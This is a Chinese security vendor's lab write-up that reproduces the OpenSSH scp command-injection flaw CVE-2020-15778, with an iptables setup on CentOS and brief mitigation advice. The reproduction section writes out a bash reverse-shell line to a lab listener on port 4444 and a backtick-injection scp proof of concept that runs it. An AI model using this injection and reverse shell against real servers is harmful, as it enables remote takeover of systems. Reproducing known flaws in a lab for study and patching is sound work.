OpenSSH 命令注入漏洞(CVE-2020-15778)

发布时间:2020-12-31      来源:

 漏洞介绍

CVE编号:CVE-2020-15778

发布时间:2020-07-24

危害等级:高危

漏洞版本:<= openssh-8.3p1

漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

利用条件:知道目标的ssh密码

1 模拟场景

设置iptables策略模拟仅允许使用scp的场景,让该漏洞在特殊环境下实现命令注入。

2 实验场景部署

靶机环境:Centos 7

渗透机环境:Kali 2019版本

1、查看ssh版本

ssh -V

测试为漏洞存在版本。

2、测试ssh与scp在正常情况下的使用情况。

可以正常使用。

3、执行ervice iptables status 检查是否安装iptables,若已安装IP tables,可跳过第三步。

(1)安装iptables

yum install -y iptables

(2)安装iptables-services

yum install iptables-services

(3)centOS7默认自带firewalld

先停止firewalld服务 
systemctl stop firewalld
禁用firewalld服务 
systemctl mask firewalld

(4)查看现有规则

iptables -L -vn

iptables -F是清空默认规则

iptables -L -n --line-number 显示规则和相对应的编号

4、在Centos中设置iptables策略,禁用ssh远程连接,但开放scp。

命令:

service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number

5、测试ssh与scp在已设置iptables策略下的使用情况。

3 SSH命令注入漏洞复现

1、在kali创建一个1.sh文件,并写入一个反弹shell的bash命令。

bash -i >& /dev/tcp/192.168.207.156/4444 0>&1

2、使用scp命令,把该文件上传到靶机的/tmp下

3、在新建的命令行页面中输入命令:

4、使用POC,远程执行命令。

scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'

5、可以看到,在输完密码后,稍等一会就已经成功反弹了shell,实验结束。

4 漏洞防御

1、先确保ssh密码没有泄露,等一波openssh的新版本吧

2、升级ssh版本

3、等待厂商发布补丁

上一篇:学会这一个,让欺骗防御无人识破!
下一篇: GlassFish 任意文件读取漏洞复现

武汉网盾科技有限公司 版权所有

公司地址:湖北省武汉市东湖高新技术开发区光谷大道70号现代光谷世贸中心A栋23楼

咨询电话:027-87315211     13476091025

鄂ICP备07009628号-20